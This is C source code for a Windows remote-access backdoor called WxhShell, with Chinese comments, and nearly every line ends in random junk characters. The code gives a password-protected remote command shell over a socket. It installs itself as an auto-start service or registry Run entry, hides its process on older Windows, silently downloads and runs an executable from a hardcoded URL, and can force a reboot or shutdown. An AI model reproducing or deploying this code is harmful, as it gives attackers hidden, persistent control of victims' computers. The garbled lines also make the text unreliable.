    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a"0Xam  
    if(Boot(SHUTDOWN)) 8{8J(~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,mhO\P96ik  
    else { OSK 3X Qc  
    closesocket(wsh); AwAUm 2^  
    ExitThread(0); `!kOyh:X  
    } CQW#o_\  
    break; {l%Of  
    } &#F>%~<or  
  // 获取shell * h!gjbi  
  case 's': { {PnvQ?|Z  
    CmdShell(wsh); S2kFdx*Zf  
    closesocket(wsh);  T+9#P4  
    ExitThread(0); -[|R \'i  
    break; cclx$)X1X  
  } d0"Hu^]  
  // 退出 %]h5\%@w  
  case 'x': { !<Ma9%uC{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2)Grl;T]s  
    CloseIt(wsh); uwXquOw  
    break; U ]`SM6  
    } Waj6.PCFm  
  // 离开 X&8&NkH  
  case 'q': { oa?bOm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <xKer<D %  
    closesocket(wsh); ) kfA5xi[  
    WSACleanup(); WId"2W3M  
    exit(1); NBwxN  
    break;  SS[jk  
        } zp:kdN7!^  
  } ARGtWW~:  
  } C}<j8a?  
3vfm$sx@  
  // 提示信息 uPr'by  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2w>WS#  
} PTWP7A[  
  } [fiB!G ]?  
!1$Q Nxgi  
  return; /bv1R5  
} Q0K2md_%x  
N_rz~$|@9  
// shell模块句柄 ?n)d: )Ud"  
int CmdShell(SOCKET sock) ~1]4 J(+  
{ ijEMS1$=7  
STARTUPINFO si; _CO?HX5ek  
ZeroMemory(&si,sizeof(si)); hCVe05  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %4|*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; u9ObFm$7  
PROCESS_INFORMATION ProcessInfo; 6c,]N@,Zw  
char cmdline[]="cmd"; 0+L:+S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D1rXTI$$  
  return 0; ;gLHSHEA  
} ecDni>W  
V9&7K65-1  
// 自身启动模式 <ZcJC+k  
int StartFromService(void) p2 V8{k  
{ 2$?bLvk  
typedef struct ebK/cPa8  
{ -c|dTZ8D)8  
  DWORD ExitStatus; &TJMopVn  
  DWORD PebBaseAddress; X|zQZ<CO  
  DWORD AffinityMask; Hof@,w  
  DWORD BasePriority; :,Z'/e0&  
  ULONG UniqueProcessId; >-J%=P  
  ULONG InheritedFromUniqueProcessId; _;L%? -2c  
}   PROCESS_BASIC_INFORMATION; }Q&zYC]d  
h\| ~Q.kG  
PROCNTQSIP NtQueryInformationProcess; ^YG'p?r.s  
(k/[/`3ST  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ix4O-o{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <qJI]P  
FcVQ_6  
  HANDLE             hProcess; P'%#B&LZo  
  PROCESS_BASIC_INFORMATION pbi; dO]N&'P7  
R+{QZ'K.qg  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1W3+ng  
  if(NULL == hInst ) return 0; Wi7!J[ B  
+yYxHIOZ(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); OH.^m6Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9 Rl-Jz8g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R9XISsM^  
s8BfOl-  
  if (!NtQueryInformationProcess) return 0; &CBW>*B  
>f+qImH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NZT2ni4  
  if(!hProcess) return 0; O?\UPNb:K  
j11FEE<W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mV!Ia-k  
(5CdA1|  
  CloseHandle(hProcess); :kU#5Aj gK  
K/WnK:LU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X 4L"M%i  
if(hProcess==NULL) return 0; K^32nQX  
5i71@?q;  
HMODULE hMod;  PL"u^G`  
char procName[255]; TwPp Z@  
unsigned long cbNeeded; /B"FGa04p(  
g Va;!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (sM$=M<$  
B|9[DNd  
  CloseHandle(hProcess); W5i{W'  
p>M8:,  
if(strstr(procName,"services")) return 1; // 以服务启动 m\*;Fx  
xXb7/.*qE  
  return 0; // 注册表启动 B ]*v{?<W  
} T{ WJf-pI  
ZkWX4?&OMt  
// 主模块 U$,-F**  
int StartWxhshell(LPSTR lpCmdLine) A-"2sp*t  
{ VT ikLuH  
  SOCKET wsl; ;]gj:6M  
BOOL val=TRUE; Dh+<|6mx  
  int port=0; z`]sWi F0  
  struct sockaddr_in door; QC\r|RXW  
#su R[K*S  
  if(wscfg.ws_autoins) Install(); Z$*m=]2  
,8.Fd|#L  
port=atoi(lpCmdLine); 813t=A  
Rtywi}VV2  
if(port<=0) port=wscfg.ws_port; r0^*|+   
$Gs9"~z?;  
  WSADATA data; @kst G3@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; r+%$0eB1^  
r..&6-%:N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *ggai?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \]Bwib%h  
  door.sin_family = AF_INET; d\O*Ol*/v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); s2=`haYu  
  door.sin_port = htons(port); {!0f.nv  
wXR7Ifrv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "udA-;!@&  
closesocket(wsl); t,w'w_C  
return 1; bU$f4J  
} e^=b#!}-5:  
=|+%^)E  
  if(listen(wsl,2) == INVALID_SOCKET) {  K P@bz  
closesocket(wsl); \d)HwO  
return 1; R6cd;| fan  
} $G<!+^T  
  Wxhshell(wsl); } *:H\GL  
  WSACleanup(); tUGnp'r  
\+Nn>wW.  
return 0; Kcu*Z  
F+<e9[  
} sgLw,WZ:  
99GK6}~TGm  
// 以NT服务方式启动 S1I# qb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GI5#{-)  
{ R$m?aIN  
DWORD   status = 0; |S6L[Uo  
  DWORD   specificError = 0xfffffff; Au10]b  
<D`VFSEJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a&z$4!wQB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .;J6)h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0n/+X[%Ti  
  serviceStatus.dwWin32ExitCode     = 0; ;$Pjl8\  
  serviceStatus.dwServiceSpecificExitCode = 0; d~abWBgC`  
  serviceStatus.dwCheckPoint       = 0; \x=j  
  serviceStatus.dwWaitHint       = 0; Bo +Yu(|cL  
Je*hyi7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }PUY~ u  
  if (hServiceStatusHandle==0) return; a7U`/*  
bZ SaL^^(  
status = GetLastError(); ugV/#v O  
  if (status!=NO_ERROR) o}b_`O  
{ WSxE/C|[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6s.>5}M!  
    serviceStatus.dwCheckPoint       = 0; 7`J= PG$A  
    serviceStatus.dwWaitHint       = 0; !sVW0JSh  
    serviceStatus.dwWin32ExitCode     = status; nPR*mbW  
    serviceStatus.dwServiceSpecificExitCode = specificError; cI\&&<>SlG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _{2/QP}  
    return; \o}=ob  
  } =/m$ayG  
'wA4yJ<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; { Ba_.]x  
  serviceStatus.dwCheckPoint       = 0; ZH)thd9^b  
  serviceStatus.dwWaitHint       = 0; Ba}<X;B}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gP2<L5&Z,  
} d3;Sy`.  
G  L-Pir  
// 处理NT服务事件,比如:启动、停止 nN%Zed2O@6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pi5($cn  
{ SG@E*yT1  
switch(fdwControl) fq?MnWc  
{ =))VxuoN  
case SERVICE_CONTROL_STOP: BHf7\ +Ul  
  serviceStatus.dwWin32ExitCode = 0; h$)4%Fy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -uei nd]  
  serviceStatus.dwCheckPoint   = 0; P,<pG[^K  
  serviceStatus.dwWaitHint     = 0; LV8{c!"  
  { X:JU#sI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rVM?[_'O  
  } !j%#7  
  return; W`F?j-4  
case SERVICE_CONTROL_PAUSE: pGcijD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lobC G  
  break; >@0U B@  
case SERVICE_CONTROL_CONTINUE: 9jI5bi)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b^q%p1  
  break; `^df la  
case SERVICE_CONTROL_INTERROGATE: RjxFlKs8  
  break; PTH'-G  
}; -\&b&;_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LMRq.wxbbB  
} J-ErG!  
`u" )*Q}  
// 标准应用程序主函数 B-oQjr-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3Ct)5J  
{ 06NW2A%wv  
aL|a2+P[`q  
// 获取操作系统版本 D+xPd<  
OsIsNt=GetOsVer(); }k0B   
GetModuleFileName(NULL,ExeFile,MAX_PATH); bScW<DZJ-  
/s Bs eI  
  // 从命令行安装 Zvkb=  
  if(strpbrk(lpCmdLine,"iI")) Install(); a 9!.e rM  
v[]&yD  
  // 下载执行文件 -5y=K40  
if(wscfg.ws_downexe) { E`b<^l`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J\E?rT  
  WinExec(wscfg.ws_filenam,SW_HIDE); o&RNpP*  
} A5^tus/y  
E*s8 nQ"  
if(!OsIsNt) { c,Yd#nokC  
// 如果时win9x,隐藏进程并且设置为注册表启动 jm0v=m7  
HideProc(); @a}\]REn  
StartWxhshell(lpCmdLine); ;<H\{w@D  
} 4Un%p7Y~  
else {-l:F2i  
  if(StartFromService()) }8dS[-.  
  // 以服务方式启动 h| N!U/(U  
  StartServiceCtrlDispatcher(DispatchTable); \<%?=C'w~  
else H{g&yo  
  // 普通方式启动 jg3T1ROL  
  StartWxhshell(lpCmdLine); j4+kL4M@H  
H'?dsc  
return 0; uF\ ;m.  
} 1q/Q@O  
R] " jr  
 %Krf,H  
MNocXK  
=========================================== N*'d]P2P`J  
DS ^ `:^hv  
s!?T$@a=  
:xZ^Jq91  
Ja{[T  
fBnlB_}e  
" u5A$VRMN  
S3sxK:  
#include <stdio.h> vJsx_ i\i  
#include <string.h> a H *5(E]  
#include <windows.h> Pk^W+M_)~  
#include <winsock2.h> +&.wc;mi  
#include <winsvc.h> RP%7M8V){B  
#include <urlmon.h> @(any ^QJ  
c;7`]}fGu  
#pragma comment (lib, "Ws2_32.lib") mH 9_HK.C  
#pragma comment (lib, "urlmon.lib") N _|tw  
wqA7_ -  
#define MAX_USER   100 // 最大客户端连接数 t{Z:N']H  
#define BUF_SOCK   200 // sock buffer V?N8 ,)j  
#define KEY_BUFF   255 // 输入 buffer DwI X\9  
A;gU@8m  
#define REBOOT     0   // 重启 d7qYz7=d  
#define SHUTDOWN   1   // 关机 >=d%t6 %(  
(}MN16!  
#define DEF_PORT   5000 // 监听端口 66|$X,  
c. 06Sw*  
#define REG_LEN     16   // 注册表键长度 15CKcM6  
#define SVC_LEN     80   // NT服务名长度 ab^>_xD<  
Itv}TK eF  
// 从dll定义API fl o9iifZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y *n[*N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A3Oe=rB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;}4^WzmK^(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `l + pk%  
?VR:e7|tU  
// wxhshell配置信息 Rp_)LA  
struct WSCFG { 5?XIp6%x  
  int ws_port;         // 监听端口 :bu]gj4e  
  char ws_passstr[REG_LEN]; // 口令 rA[wC%%  
  int ws_autoins;       // 安装标记, 1=yes 0=no I:edLg1T  
  char ws_regname[REG_LEN]; // 注册表键名 sU0W)c;  
  char ws_svcname[REG_LEN]; // 服务名 ~;yP{F8?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bL0>ul"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =_Ip0FfK!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 bz|-x"qk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :EV*8{:aLU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @ ('/NjTZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZiaHLpk  
x`JhNAO>  
}; "g:1br?X,9  
^!rAT1(/_  
// default Wxhshell configuration fzZ`O{$8  
struct WSCFG wscfg={DEF_PORT, #H.DnW  
    "xuhuanlingzhe", )<[)7`  
    1, maOt/-  
    "Wxhshell", D|D) 782  
    "Wxhshell", 7~!F3WT{  
            "WxhShell Service", >,a$)z  
    "Wrsky Windows CmdShell Service", \EW<;xq  
    "Please Input Your Password: ", nR8r$2B+t  
  1, og`K! d~  
  "http://www.wrsky.com/wxhshell.exe", L~{3W  
  "Wxhshell.exe" >>%E?'9A  
    }; 9wdl1QS  
)jGB[s";)y  
// 消息定义模块 [Zne19/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8c%_R23  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nd~O*-uYg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :: s k)  
char *msg_ws_ext="\n\rExit."; N2 .Ym;^  
char *msg_ws_end="\n\rQuit."; X.eocy  
char *msg_ws_boot="\n\rReboot..."; `y$@zT?j  
char *msg_ws_poff="\n\rShutdown..."; QC6:ZxP  
char *msg_ws_down="\n\rSave to "; mr>dZ)  
;k (M4?  
char *msg_ws_err="\n\rErr!"; 2?@Ozr2Uh  
char *msg_ws_ok="\n\rOK!"; S|r,RBeZ  
LC})aV|  
char ExeFile[MAX_PATH]; ET;-'vd  
int nUser = 0; Ou{VDE  
HANDLE handles[MAX_USER]; w+gPU1|(r  
int OsIsNt; H1r8n$h  
S,f:nLT  
SERVICE_STATUS       serviceStatus; X#Hl<d2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y2}m/7aF  
s[#_sR`y  
// 函数声明 3|BB#;  
int Install(void); ) u1=, D  
int Uninstall(void); e\.  
int DownloadFile(char *sURL, SOCKET wsh); ZMGC@4^F  
int Boot(int flag); NIG* }[}P  
void HideProc(void); ^00C"58A  
int GetOsVer(void); [D2<)  
int Wxhshell(SOCKET wsl); S]?I7_  
void TalkWithClient(void *cs); %ZX3:2  
int CmdShell(SOCKET sock); !:Ob3Mq\  
int StartFromService(void); <=%=,Yk  
int StartWxhshell(LPSTR lpCmdLine); ufJHC06  
.V@3zzv\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 03gYl0B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GYtp%<<9;  
bzh:  
// 数据结构和表定义 4wPP/`  
SERVICE_TABLE_ENTRY DispatchTable[] = Z6#(83G4  
{ EZ[e  a<  
{wscfg.ws_svcname, NTServiceMain}, /L=Y8tDt  
{NULL, NULL} ,6aF~p;wI|  
}; o\X|\nUk  
<sG}[:v  
// 自我安装 JZ/T:Hsh4  
int Install(void) B1TWOl?d{  
{ +|qw>1J(  
  char svExeFile[MAX_PATH]; V`}u:t7r  
  HKEY key;  tk+4noA  
  strcpy(svExeFile,ExeFile); `!<#'PR  
xn anca  
// 如果是win9x系统,修改注册表设为自启动 ?@7Reh\  
if(!OsIsNt) { e?:1wU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6foiN W+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | CPyCM$  
  RegCloseKey(key); ne%(`XY{Q]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o@ @|4 F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .:=5|0m  
  RegCloseKey(key); $Y8iT<nP  
  return 0; eg"A?S  
    } ~R~eQ=8  
  } " :V@AT  
} . dJBv  
else { 3\K;y>NK  
9>;CvR  
// 如果是NT以上系统,安装为系统服务 gUme({h&|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zZP&`#TAy  
if (schSCManager!=0) NMESGNa)z  
{ ie7P^:T|+  
  SC_HANDLE schService = CreateService b?:?"   
  ( GjbOc   
  schSCManager, L$ZsNs+  
  wscfg.ws_svcname, !{vZvy"  
  wscfg.ws_svcdisp, DuIgFp  
  SERVICE_ALL_ACCESS, (#+81 Dr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ysFp$!9Ux  
  SERVICE_AUTO_START, .x1.`Y   
  SERVICE_ERROR_NORMAL, zICrp  
  svExeFile, zIr4!|X  
  NULL, j|@8VxZ  
  NULL, cCcJOhk|d  
  NULL, 7Ac.^rv5  
  NULL, {dlG3P='`f  
  NULL XpPcQIM*  
  ); =)J )xH!N  
  if (schService!=0) 8L[\(~Zf  
  { bVr`a*EM  
  CloseServiceHandle(schService); 3?TUt{3g  
  CloseServiceHandle(schSCManager); 3gv?rJV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AR c  
  strcat(svExeFile,wscfg.ws_svcname); QT4vjz+|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y6 a9S`o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MR zY<MD  
  RegCloseKey(key); 1*:BOoYx  
  return 0; rd,!-w5  
    } 0 > QqsQ  
  } zr wzI+4  
  CloseServiceHandle(schSCManager); be [E^%  
} ;aH3{TS  
} n{=Ot^ ";  
1w+)ne_&  
return 1; tUGF8?& G  
} \)W Z D  
C1OiMb(:  
// 自我卸载 ycf)*0k  
int Uninstall(void) o bGvd6\  
{ `2y?(BJp  
  HKEY key; <slrzc_>&  
M]xfH*  
if(!OsIsNt) { C%#u2C2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^ZFK:|Ju  
  RegDeleteValue(key,wscfg.ws_regname); !:v7SRUXb  
  RegCloseKey(key); z7pw~Tqlz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >b8-v~o{  
  RegDeleteValue(key,wscfg.ws_regname); yoM^6o^,D  
  RegCloseKey(key); %0'7J@W  
  return 0; Q~`{^fo1  
  } Y4[oa?G  
} /Eu|Jg=I  
} 9}+X#ma.Nc  
else { Z7k ku:9  
7@&kPh}PG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w17CZa 6  
if (schSCManager!=0) c7nbHJi  
{ HE0m#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cI-@nV  
  if (schService!=0) vVSf'w   
  { [rz5tfMp  
  if(DeleteService(schService)!=0) { 6_K7!?YG7  
  CloseServiceHandle(schService); H(Y1%@  
  CloseServiceHandle(schSCManager); -] G=Q1 1  
  return 0; Bve',.xH  
  } ~.z82m  
  CloseServiceHandle(schService); 0D0uzUD-  
  } Hk$do`H-=Y  
  CloseServiceHandle(schSCManager); _>_ "cKS  
} w%(D4ldp   
} &AVX03P  
-?-yeJP2  
return 1; +`!>lo{X  
} kV4L4yE  
h-U]?De5\  
// 从指定url下载文件 *nEG<Y)  
int DownloadFile(char *sURL, SOCKET wsh) *\*]:BIe&v  
{ %g69kizoWi  
  HRESULT hr; ^ Z3y  
char seps[]= "/"; R_"6E8N  
char *token; e}(8BF  
char *file; )k]{FM  
char myURL[MAX_PATH]; -h=wLYl@0i  
char myFILE[MAX_PATH]; U&SSc@of  
'C@yJf  
strcpy(myURL,sURL); [}4\CWM  
  token=strtok(myURL,seps); $QwzL/a  
  while(token!=NULL) g[;&_gL  
  { )JU`Z @?8  
    file=token; UG]x CkDS  
  token=strtok(NULL,seps); y,`q6(&  
  } =w<iYO  
D;OPsNQ  
GetCurrentDirectory(MAX_PATH,myFILE); 5i'KGL  
strcat(myFILE, "\\"); oG-Eac,  
strcat(myFILE, file); ]deO\mB  
  send(wsh,myFILE,strlen(myFILE),0); h7S; 4]  
send(wsh,"...",3,0); L!fIAd`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M #%V%<  
  if(hr==S_OK) gx2v(1?S  
return 0; g_eR&kuh  
else nN>Uh T  
return 1; 4-9cp=\PE  
!:~C/B{  
} ~`5[Li:eP  
rLbFaLeQ  
// 系统电源模块 7 ,Q7`}gBf  
int Boot(int flag) )=5*iWe  
{ z_). -  
  HANDLE hToken; PGb}Y {  
  TOKEN_PRIVILEGES tkp; ) }k"7"  
#nKGU"$+  
  if(OsIsNt) { yKmHTjX=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bHzZ4i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;cb='s  
    tkp.PrivilegeCount = 1; r%LG>c`^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ey_mK\'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :]* =f].  
if(flag==REBOOT) { #Zn+-Ih  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]agdVr^  
  return 0; }@53*h i(  
} luz,z( v  
else { ^SS9BQ*m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }~#qDrK  
  return 0; 2XeNE[  
} 0IsnG?"  
  } L)Da1<O  
  else { !V/p.O  
if(flag==REBOOT) { b+BX >$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1z3I^gI*i  
  return 0; OW8TiM mK  
} e XmYw^n  
else {  M|>-q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *yW9-(  
  return 0; *Oy%($'  
} <a2Kc '  
} k59.O~0V  
mPi{:  
return 1; `=8G?3  
} RY*s}f  
q,j` _ R4  
// win9x进程隐藏模块 dr4m}v.  
void HideProc(void) ,q Bu5t  
{ DzY`O@D[  
;] #Q!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hhOrO<(  
  if ( hKernel != NULL ) w"j[c#vM  
  { 1;+(HB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r$Y% 15JV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ivi&;  
    FreeLibrary(hKernel); k12mxR/  
  } Pe7% 9  
Yc V*3`  
return; ]b@:?DX8  
} |Oe$)(`|h  
p"J\+R  
// 获取操作系统版本 dp>LhTLc  
int GetOsVer(void) _l.kbfp@  
{ FYeUz$/  
  OSVERSIONINFO winfo; {\-IAuM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -"3<Ll  
  GetVersionEx(&winfo); jQ Of+ZE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |Ok1E  
  return 1; !8>tT  
  else ]]bL;vlw  
  return 0; v\ Xk6k  
} nc%ly *  
qnR{'d  
// 客户端句柄模块 cwA+?:Ry}  
int Wxhshell(SOCKET wsl) |Xl,~-.  
{ F>A&L8  
  SOCKET wsh; [.`#N1-@M  
  struct sockaddr_in client; 20H$9M=}  
  DWORD myID; AW:WDNQh8n  
~*h` ?A0  
  while(nUser<MAX_USER) <CUe"WbE)  
{ ^+ +ec>  
  int nSize=sizeof(client); !B{N:?r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ryp@<}A]!d  
  if(wsh==INVALID_SOCKET) return 1; g&"__~dS-F  
w/HGmVa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2@S{e$YK`  
if(handles[nUser]==0) y2eeE CS]  
  closesocket(wsh); M&iA^Wrs  
else @l:\Ka~TS  
  nUser++; @cZNoD  
  } v1Lu.JQC$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?gMxGH:B.&  
D=nuK25  
  return 0; %Ot^G%34  
} 3N,!y  
EV 8}C=  
// 关闭 socket ggUJ -M'2h  
void CloseIt(SOCKET wsh) ,#42ebGHR  
{ @^$Xy<x  
closesocket(wsh); gs_nUgcA  
nUser--; {uRnZ/m  
ExitThread(0); nx >PZb  
} 8*^Q#;^~99  
5h^U ]Y#  
// 客户端请求句柄 Zv*Z^; X9  
void TalkWithClient(void *cs) H`$s63  
{ Fss7xP'  
b"y][5VE  
  SOCKET wsh=(SOCKET)cs; F~dq7 AS  
  char pwd[SVC_LEN]; $gN1&K  
  char cmd[KEY_BUFF]; c"3 a,&  
char chr[1]; V11Zl{uOl  
int i,j; j|&?BBa9  
b<B|p|  
  while (nUser < MAX_USER) { /u }AgIb  
0SXWt? }  
if(wscfg.ws_passstr) { WKFmU0RK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QW.VAF\6*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7CzZHkTg  
  //ZeroMemory(pwd,KEY_BUFF); kn_%'7  
      i=0; cjf}yn  
  while(i<SVC_LEN) { AAkdwo  
l|`%FB^k  
  // 设置超时 +pJ;}+  
  fd_set FdRead; MEbx{XC  
  struct timeval TimeOut; (u-i{<   
  FD_ZERO(&FdRead); O^I~d{M 5I  
  FD_SET(wsh,&FdRead); .9WJ/RKZ\D  
  TimeOut.tv_sec=8; '}*5ee](S  
  TimeOut.tv_usec=0; 3_2(L"S2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '2a}1?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FS r`Y  
VkT8l4($X<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y'-BKZv!  
  pwd=chr[0]; iLn)Z0<\o  
  if(chr[0]==0xd || chr[0]==0xa) { o|Obl@CSBD  
  pwd=0; b&A+`d  
  break; X~Uvh8O  
  } A5tY4?|  
  i++; =Z iyT$p  
    } B=#rp*vwL  
<0vQHND,3  
  // 如果是非法用户,关闭 socket zTBr<:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q(e&{pbM)  
} ;RW!l pGjP  
g1L$+xD^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M~;mamTP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |uQJMf[L)  
~d ~$fR  
while(1) { xj)*K%re  
<P ~+H>;  
  ZeroMemory(cmd,KEY_BUFF); W+&ZYN 'E  
|]HU$Gt S  
      // 自动支持客户端 telnet标准   zF.rsNY  
  j=0; T.GY  
  while(j<KEY_BUFF) { 3'Q H\t5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x:O?Fj  
  cmd[j]=chr[0]; z)=D&\HX  
  if(chr[0]==0xa || chr[0]==0xd) { }]N7CWy  
  cmd[j]=0; |[}YM %e  
  break; Byyus[b'A  
  } y. @7aT5  
  j++; X3#|9  
    } %+i g7a:  
l.\Fr+*ej  
  // 下载文件 uI@:\Rss  
  if(strstr(cmd,"http://")) { 2I(0EBW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cPi 3UjY~  
  if(DownloadFile(cmd,wsh)) "3LOL/7f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v2G_p |+O  
  else >,Zjlkh3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a9mLPP  
  } *L%HH@] %_  
  else { rXuhd [!(P  
mMjY I1F  
    switch(cmd[0]) { a[]=*(AZI  
  _-x|g~pV*  
